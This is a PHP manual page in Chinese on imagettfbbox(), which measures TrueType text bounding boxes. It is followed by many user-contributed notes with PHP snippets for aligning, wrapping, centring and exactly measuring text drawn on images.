Sometimes this function gives ugly/dull colors (especially when ncolors < 256).  Here is a replacement that uses a temporary image and ImageColorMatch() to match the colors more accurately.  It might be a hair slower, but the file size ends up the same:

<?php
function    ImageTrueColorToPalette2( $image, $dither, $ncolors )
{
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy( $colors_handle );
}
?>
php at roelvanmastbergen dot nl 06-Jun-2004 09:34
The palette created by this function often looks quite awful (at least it did on all of my test images). A better way to convert your true-colour images is by first making a resized copy of them with imagecopyresampled() to a 16x16 pixel destination. The resized image then contains only 256 pixels, which is exactly the number of colours you need. These colours usually look a lot better than the ones generated by imagetruecolortopalette().

The only disadvantage to this method I have found is that different-coloured details in the original image are lost in the conversion.
jemore at nospaM dot m6net dot fr 22-Nov-2003 10:25
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly to GIF format with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
darkelder at php dot net 17-Jul-2003 01:34
TrueColor images should be converted to Palette images with this function. So, if you want to use imagecolorstotal() function [ http://php.net/manual/en/function.imagecolorstotal.php ] , you should first convert the image to a palette image with imagetruecolortopalette();


取得使用 TrueType 字体的文本的边界框

  • ? imagetruecolortopalette
  • imagettftext ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得使用 TrueType 字体的文本的边界框

imagettfbbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imagettfbbox — 取得使用 TrueType 字体的文本的边界框

说明

imagettfbbox(
float $size,
float $angle,
string $font_filename,
string $string,
array $options = []
): array|false

本函数计算并返回 TrueType 文本的边界框的像素大小。

Note:

在 PHP 8.0.0 之前，imageftbbox() 是 imagettfbbox() 的扩展变体，额外支持 extrainfo。自 PHP 8.0.0 起，imagettfbbox() 是 imageftbbox() 的别名。

参数

size

字体的尺寸，单位：点（磅）。

angle

测量字符串的角度（以度为单位）。

fontfile

想要使用的 TrueType 字体的路径。

根据 PHP 所使用的 GD 库版本，当 fontfile 没有以 / 开头时则 .ttf 将追加到文件名之后，并且会在库定义字体路径中尝试搜索该文件名。

当使用的 GD 库版本低于 2.0.18 时，space 字符而不是分号将被用来作为不同字体文件的"路径分隔符"。不小心使用了此特性将会导致一条警告信息：Warning: Could not find/open font。对受影响的版本来说唯一解决方案就是将字体移动到不包含空格的路径。

很多情况下字体与使用字体的脚本在同一个目录中，下面的小技巧可以缓解 include 的问题。

<?php
// Set the environment variable for GD
putenv('GDFONTPATH=' . realpath('.'));

// Name the font to be used (note the lack of the .ttf extension)
$font = 'SomeFont';
?>

Note:

注意 open_basedir 不 适用于 fontfile。

string

要测量的字符串。

返回值

imagettfbbox() 成功时返回包含 8 个元素的数组，代表构成文本边界框的四个点。失败时返回 false。

键 | 内容
0 | 左下角,X 位置
1 | 左下角，Y 位置
2 | 右下角，X 位置
3 | 右下角，Y 位置
4 | 右上角，X 位置
5 | 右上角，Y 位置
6 | 左上角，X 位置
7 | 左上角，Y 位置

这些点相对于 text，与 angle 无关，因此"左上角"意味着可以在左上角看到横排文本。

更新日志

版本 | 说明
8.0.0 | 新增 options。

示例

Example #1 imagettfbbox() 示例

<?php
// 创建 300x150 图像
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// 设置白色背景色
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// 字体文件的路径
$font = './arial.ttf';

// 首先为第一个文本创建边界框
$bbox = imagettfbbox(10, 45, $font, 'Powered by PHP ' . phpversion());

// 这是 X 坐标和 Y 坐标
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 25;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// 写入
imagettftext($im, 10, 45, $x, $y, $black, $font, 'Powered by PHP ' . phpversion());

// 为第二个文本创建边界框
$bbox = imagettfbbox(10, 45, $font, 'and Zend Engine ' . zend_version());

// 设置坐标，使其位于第一个字的旁边
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) + 10;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// 写入
imagettftext($im, 10, 45, $x, $y, $black, $font, 'and Zend Engine ' . zend_version());

// 输出到浏览器
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

注释

Note: 此函数仅在 PHP 编译时加入 freetype 支持时有效（--with-freetype-dir=DIR）。

参见

  • imagettftext() - 用 TrueType 字体向图像写入文本
  • imageftbbox() - 通过 freetype2 使用字体给出文本的边界框

User Contributed Notes

Somerset Ben 15-Sep-2021 05:03
Pushing text around.

I wanted to put various bits of text in the corners of an image so I created a function to accept a location in the image and then put a corner of the text (eg right,top) at that location. Rotation is not supported.

Inputs to the function are fairly standard. The align parameter is two characters R|M|L (right, middle, top)for x alignment and T|M|B (top, middle, bottom) for y alignment; eg "LT" meaning left, top. Omitting the align parameter displays nothing.

The function returns the size of the text block or false indicating failure.

<?php
function imagettfalign (&$im,$size,$x,$y,$col,$font,$text,$align='')
    {
    $box = imagettfbbox ($size,0,$font,$text) ;
    if (!$box) return false ;
    if ($align)
        {
        switch (strtoupper($align[0])) // X position
            {
            case 'L' : $tX = $x - $box[0]   ; break ;
            case 'R' : $tX = $x - $box[2]   ; break ;
            case 'M' : $tX = $x - $box[2]/2 ; break ;
            default : return false ;
            }
        switch (strtoupper($align[1])) // Y position
            {
            case 'B' : $tY = $y - $box[1]   ; break ;
            case 'T' : $tY = $y - $box[7]   ; break ;
            case 'M' : $tY = $y - $box[7]/2 ; break ;
            default : return false ;
            }
        if (!imagettftext ($im,$size,0,$tX,$tY,$col,$font,$text)) return false ;
        }
    $r[0]=abs($box[2]) ;
    $r[1]=abs($box[7]) ;
    return $r ;
    }
?>

An example (excluding font declarations, etc) would be:
<?php
$im = @imagecreatetruecolor(400,200) ;
$colBlack = imagecolorallocate($im,0, 0, 0);
$xy = imagettfalign ($im,12,200,100,$colBlack,$ttFont,"The middle",'MM') ;
?>

This will show "The middle" smack in the centre of the image.

Finally,  apologies for the non-standard indentation. It's just the way I've been doing it for years...
dvladimirov77 at gmail dot com 27-May-2020 12:43
if the line starts with a narrow character, for example: "1"

    function new_imagettfbbox($size, $angle, $fontfile, $text)
    {
        $first = substr($text, 0, 1);
        $sub = substr($text, 1);

        switch ($first)
        {
            case '1':
                $text = '0' . $sub;
                break;
        }

        return imagettfbbox($size, $angle, $fontfile, $text);
    }
james dot heazlewood at crownbet com au 20-Feb-2017 07:21
I found the bounding boxes a bit tricky to use when trying to rotate AND align text boxes. I wrote this function allows you to set left, right or center aligned text and also rotate it.

<?php
  /**
   * Renders rotate-able and align-able text of any font or colour
   *
   * @param resource $img Image resource
   * @param string $text
   * @param int $x
   * @param int $y
   * @param int $fontSize
   * @param string $fontFile Full path to font file
   * @param array $color Red, green, blue values in either int (255) or hex (0xFF)
   * @param string $align Accept 'left', 'right', and defaults to center
   * @return void
   */
  function gd_text_aligned($img, $text, $x, $y, $fontSize, $fontFile, $color = [0, 0, 0], $align = 'left') {

      // Create colour Resource
      $textColor = imagecolorallocate($img, $color[0], $color[1], $color[2]);

      // Create bounding box co-ordinates
      $boundingBox = imagettfbbox($fontSize, $rotation, $fontFile, $text);
      $textBox = imagettfbbox($fontSize, 0, $fontFile, $text);

      //  Bounding box array key meanings
      //
      //  $bBox[0] = lower left  X
      //  $bBox[1] = lower left  Y
      //  $bBox[2] = lower right X
      //  $bBox[3] = lower right Y
      //  $bBox[4] = upper right X
      //  $bBox[5] = upper right Y
      //  $bBox[6] = upper left  X
      //  $bBox[7] = upper left  Y
      //
      //     6,7     |     4,5
      //        -----+-----
      //     0,1     |     2,3
      //
      $boundingBoxWidth = $boundingBox[4] - $boundingBox[0];
      $boundingBoxHeight = $boundingBox[5] - $boundingBox[1];
      $flatHeight = $textBox[5] - $textBox[1];

      // Align left right or centred?
      if($align == 'left') {
          $drawX = $x - sin($rotation * M_PI / 180) * ($flatHeight / 2);
          $drawY = $y - cos($rotation * M_PI / 180) * ($flatHeight / 2);
      } else if($align == 'right') {
          $drawX = $x - $boundingBoxWidth + sin($rotation * M_PI / 180) * ($flatHeight / 2);
          $drawY = $y - $boundingBoxHeight + cos($rotation * M_PI / 180) * ($flatHeight / 2);
      } else {
          // no alignment (centred)
          $drawX = $x - $boundingBoxWidth / 2;
          $drawY = $y - $boundingBoxHeight / 2;
      }

      // draw text
      imagettftext(
          $img,
          $fontSize,
          $rotation, $drawX, $drawY,
          $textColor, $fontFile, $text
      );

    }
tuxedobob 03-Nov-2016 04:02
You might save yourself a lot of time and headache if you remember that the bold version of a font is NOT necessarily the same height as the regular version of that font!

(In fact, it can be shorter!)
gw at example dot com 18-Jan-2016 05:32
a little something to replace in blackbart tip :

// start scanning (0=> black => empty)
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  for( $x = 0; $x < $w4; $x++ )
    for( $y = 0; $y < $h4; $y++ )
      if( imagecolorat( $img, $x, $y ) ){
        $rleft   = min( $rleft, $x );
        $rright  = max( $rright, $x );
        $rtop    = min( $rtop, $y );
        $rbottom = max( $rbottom, $y );
      }

with

// start scanning (0=> black => empty)
  $break = false;
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  // scanning from left to right, breaking when a pixel is found, to scan from the other side : avoid scanning all pixels !
  for($x=0; $x<$w4; $x++){
    for($y=0; $y<$h4; $y++)
      if(imagecolorat($img,$x,$y)){
        $rtop = min($rtop, $y); $rleft = min($rleft, $x);
        $break = true; break;
      }
    if($break) break;
  }
  // scanning from right to left, breaking when a pixel is found
  for($x=($w4-1); $x>$rleft; $x--){
    for($y=0; $y<$h4; $y++)
      if(imagecolorat($img,$x,$y)){
          $rright = max($rright, $x); $rbottom = max($rbottom, $y);
        $break = true; break;
      }
    if($break) break;
  }
//... //

it may be even better to check if the picture is portrait or landscape, to start the loops from left-right(landscape) or top-bottom (portrait)
indraaaa34 at gmail dot com 07-May-2015 12:49
The returned array order is like this:
-----------------------------
| X:4  Y:5      | X:   Y:7        |
-----------------------------
| X:0  Y:1      | X:2  Y:3       |
-----------------------------

eg:
4 for the upper left X
5 for the upper left Y and so on.
user107 31-Mar-2015 03:36
I found a simple solution that was working for me:

 <?php
    if(!isset($_GET['size'])) $_GET['size'] = 44;
    if(!isset($_GET['text'])) $_GET['text'] = "Hello, world!";

    $size = imagettfbbox($_GET['size'], 0, "ARIAL", $_GET['text']);
    $xsize = abs($size[0]) + abs($size[2]);
    $ysize = abs($size[5]) + abs($size[1]);

    $image = imagecreate($xsize, $ysize);
    $blue = imagecolorallocate($image, 0, 0, 255);
    $white = ImageColorAllocate($image, 255,255,255);
    imagettftext($image, $_GET['size'], 0, abs($size[0]), abs($size[5]), $white, "ARIAL", $_GET['text']);

    header("content-type: image/png");
    imagepng($image);
    imagedestroy($image);
?>

Here is the link with a examples:
http://www.tuxradar.com/practicalphp/11/2/6#null
rasmus at mindplay dot dk 11-Apr-2013 01:33
It should be noted that the bounding box coordinates returned by this function are inaccurate - bug reports about this have been open for 5 years, so expect this will likely never be fixed.

More information here:

https://gist.github.com/mindplay-dk/4429153
go4christian at gmail dot com 31-Jul-2012 03:02
Automatic line breaks: This simple function is able automatically create line breaks if you want to write a text on an image. All you have to specify is a maximum length.

<?php
function write_multiline_text($image, $font_size, $color, $font, $text, $start_x, $start_y, $max_width)
{
        //split the string
        //build new string word for word
        //check everytime you add a word if string still fits
        //otherwise, remove last word, post current string and start fresh on a new line
        $words = explode(" ", $text);
        $string = "";
        $tmp_string = "";

        for($i = 0; $i < count($words); $i++)
        {
            $tmp_string .= $words[$i]." ";

            //check size of string
            $dim = imagettfbbox($font_size, 0, $font, $tmp_string);

            if($dim[4] < $max_width)
            {
                $string = $tmp_string;
            } else {
                $i--;
                $tmp_string = "";
                imagettftext($image, 11, 0, $start_x, $start_y, $color, $font, $string);

                $string = "";
                $start_y += 22; //change this to adjust line-height. Additionally you could use the information from the "dim" array to automatically figure out how much you have to "move down"
            }
        }

        imagettftext($image, 11, 0, $start_x, $start_y, $color, $font, $string); //"draws" the rest of the string
?>
magnum dot tc dot mr at gmail dot com 07-Jun-2012 10:50
Please note that the 3rd argument is really a "path".
<?php
imagettfbbox(10, 0, 'arial.ttf', 'Hello, World!');  // will result in "Warning: imagettfbbox(): Could not find/open font in ...php on line ..."
?>

use instead something like this:
<?php imagettfbbox(10, 0, './arial.ttf', 'Hello, World!'); ?>
or
<?php imagettfbbox(10, 0, getcwd().'/arial.ttf', 'Hello, World!'); ?>
Anonymous 04-May-2012 01:29
It seems to be worth pointing out that the "points" unit GD2 is using corresponds to 96 dpi, as defined in gd.h:
#define GD_RESOLUTION           96      /* pixels per inch */

So if you want to translate the bbox back to font points, you need to multiply all coordinates by 72/96 = 3/4.
jodybrabec at gmail dot com 30-Aug-2011 03:39
Very CLEAR version of func., with example....

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
    /************
    simple function that calculates the *exact* bounding box (single pixel precision).
    The function returns an associative array with these keys:
    left, top:  coordinates you will pass to imagettftext
    width, height: dimension of the image you have to create
    *************/
    $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);
    $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
    $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

    return array(
     "left"   => abs($minX) - 1,
     "top"    => abs($minY) - 1,
     "width"  => $maxX - $minX,
     "height" => $maxY - $minY,
     "box"    => $rect
    );
}

// Example usage - gif image output

$text_string    = "Hullo World";
$font_ttf        = "./fonts/arial.ttf";
$font_size        = 22;
$text_angle        = 0;
$text_padding    = 10; // Img padding - around text

$the_box        = calculateTextBox($text_string, $font_ttf, $font_size, $text_angle);

$imgWidth    = $the_box["width"] + $text_padding;
$imgHeight    = $the_box["height"] + $text_padding;

$image = imagecreate($imgWidth,$imgHeight);
imagefill($image, imagecolorallocate($image,200,200,200));

$color = imagecolorallocate($image,0,0,0);
imagettftext($image,
    $font_size,
    $text_angle,
    $the_box["left"] + ($imgWidth / 2) - ($the_box["width"] / 2),
    $the_box["top"] + ($imgHeight / 2) - ($the_box["height"] / 2),
    $color,
    $font_ttf,
    $text_string);

header("Content-Type: image/gif");
imagegif($image);
imagedestroy($image);

?>

[ remember: No spaces before or after the <?php ... ?> tag, because of header() call, you Roast! ]
Andrey Zakharov 04-Jan-2011 03:16
For mixed text drawing on image, height given by this function is useless and leads to text's hip-hops over the baseline .

I will use just this:
<?php
$size = 12;//font height
$font = 'Arial';// your font
$char = 'Test';
$char = 'With W';
$char = 'without w but with p and y and q';

    $rect = imagettfbbox($size, 0, $font, $char);

    $image_height =abs( $rect[7] );//do no respect bottom margin
    $imw = $rect[2] - $rect[0]; //as usual
    $bx = abs( $rect[ 0 ] ); // X offset
    $by = $size * 1.25; // Y offset - we will use const LINEHEIGHT
?>
a2hansolo at gmail dot com 22-Dec-2010 11:29
measure bg image size, wrap text to fit image width

<?php
$mx = imagesx($main_img);
$my = imagesy($main_img);

//TEXT VARS/////////
$main_text = ;
$main_text_size = ;
$main_text_x = ($mx/2);

$main_text_color = imagecolorallocate($main_img, $main_text_red, $main_text_green, $main_text_blue);
$words = explode(' ', $main_text);
$lines = array($words[0]);
$currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($main_text_size, 0, $mt_f, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $mx)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }
$line_count = 1;
// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    $line_box = imagettfbbox($main_text_size, 0, $mt_f, "$line");
    $line_width = $line_box[0]+$line_box[2];
    $line_height = $line_box[1]-$line_box[7];
    $line_margin = ($mx-$line_width)/2;
    $line_y = (($line_height+12) * $line_count);
    imagettftext($main_img, $main_t_s, 0, $line_margin, $line_y, $main_text_color, $mt_f, $line);

    // Increment Y so the next line is below the previous line
    $line_count ++;
}
?>
blackbart at simail dot it 15-Apr-2010 11:12
I wrote a simple function that calculates the *exact* bounding box (single pixel precision).
The function returns an associative array with these keys:
left, top:  coordinates you will pass to imagettftext
width, height: dimension of the image you have to create

<?php
function calculateTextBox($font_size, $font_angle, $font_file, $text) {
  $box   = imagettfbbox($font_size, $font_angle, $font_file, $text);
  if( !$box )
    return false;
  $min_x = min( array($box[0], $box[2], $box[4], $box[6]) );
  $max_x = max( array($box[0], $box[2], $box[4], $box[6]) );
  $min_y = min( array($box[1], $box[3], $box[5], $box[7]) );
  $max_y = max( array($box[1], $box[3], $box[5], $box[7]) );
  $width  = ( $max_x - $min_x );
  $height = ( $max_y - $min_y );
  $left   = abs( $min_x ) + $width;
  $top    = abs( $min_y ) + $height;
  // to calculate the exact bounding box i write the text in a large image
  $img     = @imagecreatetruecolor( $width << 2, $height << 2 );
  $white   =  imagecolorallocate( $img, 255, 255, 255 );
  $black   =  imagecolorallocate( $img, 0, 0, 0 );
  imagefilledrectangle($img, 0, 0, imagesx($img), imagesy($img), $black);
  // for sure the text is completely in the image!
  imagettftext( $img, $font_size,
                $font_angle, $left, $top,
                $white, $font_file, $text);
  // start scanning (0=> black => empty)
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  for( $x = 0; $x < $w4; $x++ )
    for( $y = 0; $y < $h4; $y++ )
      if( imagecolorat( $img, $x, $y ) ){
        $rleft   = min( $rleft, $x );
        $rright  = max( $rright, $x );
        $rtop    = min( $rtop, $y );
        $rbottom = max( $rbottom, $y );
      }
  // destroy img and serve the result
  imagedestroy( $img );
  return array( "left"   => $left - $rleft,
                "top"    => $top  - $rtop,
                "width"  => $rright - $rleft + 1,
                "height" => $rbottom - $rtop + 1 );
}
?>
peterjwest3 at gmail dot com 08-Apr-2010 06:18
As many of you know, this function is bugged in several versions of PHP. It should return the coordinates relative to the baseline of the font. So if your text includes characters like g and p then the bounding box should extend below zero on the Y axis, however it doesn't. This is a problem because imagettftext() positions text using the baseline, so all your text will be misaligned.

My solution is to create an image of the desired font and font-size using all ascii characters with imagettfbbox() and imagettftext(). The height of this image is used as the height for the real image.

I then analyse the image to get the vertical offset of the text (the background color should be $baseColor)
<?php
function getYOffset($image, $baseColor) {
    for($y = 0; $y < $this->height(); $y++)
        for($x = 0; $x < $this->width(); $x++)
            if (imagecolorat($image, $x, $y) !== $baseColor)
                return $y; }
?>

This offset can be used as the baseline for the font (for this font-size). You can use a similar trick for the horizontal offset, but that changes depending on the first character.
hkc@taiwan 22-Aug-2009 12:57
I want to output a bounding box of a text as an image straightly. I did like this:

<?php

$text = "<?php echo \"hello, world\"; ?>";
$font = "./arial.ttf";
$size = "60";

$bbox = imagettfbbox($size, 0, $font, $text);

$width = abs($bbox[2] - $bbox[0]);
$height = abs($bbox[7] - $bbox[1]);

$image = imagecreatetruecolor($width, $height);

$bgcolor = imagecolorallocate($image, 255, 255, 255);
$color = imagecolorallocate($image, 0, 0, 0);

$x = $bbox[0] + ($width / 2) - ($bbox[4] / 2);
$y = $bbox[1] + ($height / 2) - ($bbox[5] / 2);

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

$last_pixel= imagecolorat($image, 0, 0);

for ($j = 0; $j < $height; $j++)
{
    for ($i = 0; $i < $width; $i++)
    {
        if (isset($blank_left) && $i >= $blank_left)
        {
            break;
        }

        if (imagecolorat($image, $i, $j) !== $last_pixel)
        {
            if (!isset($blank_top))
            {
                $blank_top = $j;
            }
            $blank_left = $i;
            break;
        }

        $last_pixel = imagecolorat($image, $i, $j);
    }
}

$x -= $blank_left;
$y -= $blank_top;

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
Dario 05-May-2009 07:09
My solution to below-baseline characters is to simply apply a smaller angle and some padding when calculating your boundaries, so the function thinks your text goes below baseline. For example:

<?php
// GET BOUNDS OF TEXT
$bounds = imagettfbbox($size*1.05, $angle-3, $font, $text);
?>
Anonymous 06-Nov-2008 11:18
SIMPLE OVERLOADED FUNCTION: Adds TTF Center and Right Alignment to co ordintate points.
Correctly demonstrates the use of the bouning box TTF function and the array of coordinates that it returns.

After obtaining values and adjusting based on a set of values [L, C, R], it uses simple math based of the length of the text to move it from the origin (x = 0 )

<?php
function imagettftextalign($image, $size, $angle, $x, $y, $color, $font, $text, $alignment='L')
{

   //check width of the text
   $bbox = imagettfbbox ($size, $angle, $font, $text);
   $textWidth = $bbox[2] - $bbox[0];
   switch ($alignment) {
       case "R":
           $x -= $textWidth;
           break;
       case "C":
           $x -= $textWidth / 2;
           break;
   }

   //write text
   imagettftext ($image, $size, $angle, $x, $y, $color, $font, $text);

}
?>
decimealgo at gmail dot com 04-Oct-2008 10:11
This is a function which reformats a text string into a text block of a given width.
Usefull when you have a long single line string and want to fit it into a fixed width but don't care about it's height

<?php
function makeTextBlock($text, $fontfile, $fontsize, $width)
{
    $words = explode(' ', $text);
    $lines = array($words[0]);
    $currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($fontsize, 0, $fontfile, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $width)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }

    return implode("\n", $lines);
}
?>
beosman at gmail dot com 22-Aug-2008 09:00
I was viewing the code for calculate the box of a text for a given font but I do not found one that works fine with different angles from zero, so I have made a function simpler than above:

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
  $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);

  $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
  $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

  return array(
    "left"   => abs($minX),
    "top"    => abs($minY),
    "width"  => $maxX - $minX,
    "height" => $maxY - $minY,
    "box"    => $rect
  );
}

?>

With this function you can center an angled string in any image:

<?php

  $mystring = "Hello world!";

  $imgWidth = 300;
  $imgHeight = 150;

  $image = imagecreate($imgWidth,$imgHeight);
  imagefill($image,imagecolorallocate($image,200,200,200));

  $box = calculateTextBox($mystring,"./Verdana.ttf",15,45);
  $color = imagecolorallocate($image,0,0,0);
  imagettftext($image,
               15,
               45,
               $box["left"] + ($imgWidth / 2) - ($box["width"] / 2),
               $box["top"] + ($imgHeight / 2) - ($box["height"] / 2),
               $color,
               "./Verdana.ttf",
               $mystring);

  header("Content-Type: image/x-png");
  imagepng($im);
  imagedestroy($im);

?>
Stefan at colulus dot com 30-May-2008 11:13
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagepng($im);

?>
Valentijn de Pagter 16-May-2008 10:14
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
mihai.draghicioiu at gmailcom 14-Apr-2008 03:57
To get the height for a line of text, I've found it useful to do:

<?php

$bbox = imagettfbbox($size, 0, $ttf, " \n "); // space, newline, space

$height = $bbox[3] - $bbox[5];

?>

I hope this helps. Before, I used the string "Tj", but that sometimes fell short, especially for crazy fonts.
heshan at sjtu dot edu dot cn 07-Jan-2008 04:18
the imagettfbbox and imagettftext quirks are:

1. imagettfbbox and imagettftext have the same return value and both of them are wrong for angle not equal to zero.
2. imagettfbbox returns the correct bounding box when angle is zero.
3. the bounding box has a coordinate system that the x gets bigger from left to right and y gets bigger from top to bottom.
4. the "base point" used in imagettftext is the origin in the bounding box coordinate system.
5. when the angle is other than 0, it is actually rotated in the coordinate system with respect to the base point. so if we know the bounding box coordinate when angle is zero, we can get the new bounding box coordinate by doing the rotation by math equations manually.
6. to have pixel level accuracy, we should also be aware of another thing. suppose the axis is like this: |_|_|_|, the bounding box coordinate uses point on the vertical line while image function uses point on the horizontal line, so there is a 1 pixel difference you should take care of.

The following snippet creates minimal images containing a letter of different font and rotation angle. This is especially useful in captcha scripts.

<?php

function create_font_image( $size, $angle, $font, $char )
{
    $rect = imagettfbbox( $size, 0, $font, $char );
    if( 0 == $angle ) {
        $imh = $rect[1] - $rect[7];
        $imw = $rect[2] - $rect[0];
        $bx = -1 - $rect[0];
        $by = -1 - $rect[7];
    } else {
        $rad = deg2rad( $angle );
        $sin = sin( $rad );
        $cos = cos( $rad );
        if( $angle > 0 ) {
            $tmp = $rect[6] * $cos + $rect[7] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[2] * $cos + $rect[3] * $sin - $tmp );
            $tmp = $rect[5] * $cos - $rect[4] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[1] * $cos - $rect[0] * $sin - $tmp );
        } else {
            $tmp = $rect[0] * $cos + $rect[1] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[4] * $cos + $rect[5] * $sin - $tmp );
            $tmp = $rect[7] * $cos - $rect[6] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[3] * $cos - $rect[2] * $sin - $tmp );
        }
    }
    $im = imagecreatetruecolor( $imw, $imh );
    imagefill( $im, 0, 0, imagecolorallocate( $im, 255, 0, 255 ) );
    imagettftext( $im, $size, $angle, $bx, $by, imagecolorallocate( $im, 0, 0, 0 ), $font, $char );
    imagegif( $im, trim( $font, './' ) . ord( $char ) . $angle . '.gif' );
    imagedestroy( $im );
}

$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
$angles = array( -30, -20, -10, 0, 10, 20, 30 );
$fonts = array( './latinwide.ttf', './verdana.ttf', './times.ttf', './broadway.ttf' );
foreach( $angles as $angle )
    foreach( $fonts as $font )
        for( $i = 0; $i < strlen( $chars ); ++$i )
            create_font_image( 100, $angle, $font, $chars[$i] );
?>
intuz et gmx dt de 29-Aug-2007 11:45
I still got problems trying to rotate imagettftext using imagettfbbox.

It's position calculation is mostly wrong. So i tried to rotate ttftext with IMAGEROTATE.

As a special the result is in black fontcolor and transparent background.

Hope it helps sombody (thanks for function convertBoundingBox, reading below)

<?
function ImgText($text,$fontsize,$font,$angle){
$im = '';
    if($text){
        if(!$fontsize || $fontsize < 1) $fontsize = 12;
        if(!$font) $font = "fonts/arial.ttf";
        $bbox = imagettfbbox($fontsize, 0, $font, $text);
        $size=convertBoundingBox($bbox);
        $im = ImageCreatetruecolor($size['width'],$size['height']);

        $white = ImageColorAllocate($im, 255, 255, 255);
        $black = ImageColorAllocate($im, 0,0,0);

        imagefill ($im, 0, 0, $white );
        imagettftext($im, $fontsize, 0, $size['xOffset'], $size['yOffset'], $black, $font, $text);
        $im = imagerotate( $im,$angle, $white);
        imagecolortransparent ($im,$white);
    }else{
        // No text
    }
}
?>
bushj at rpi dot edu 10-Jul-2007 09:11
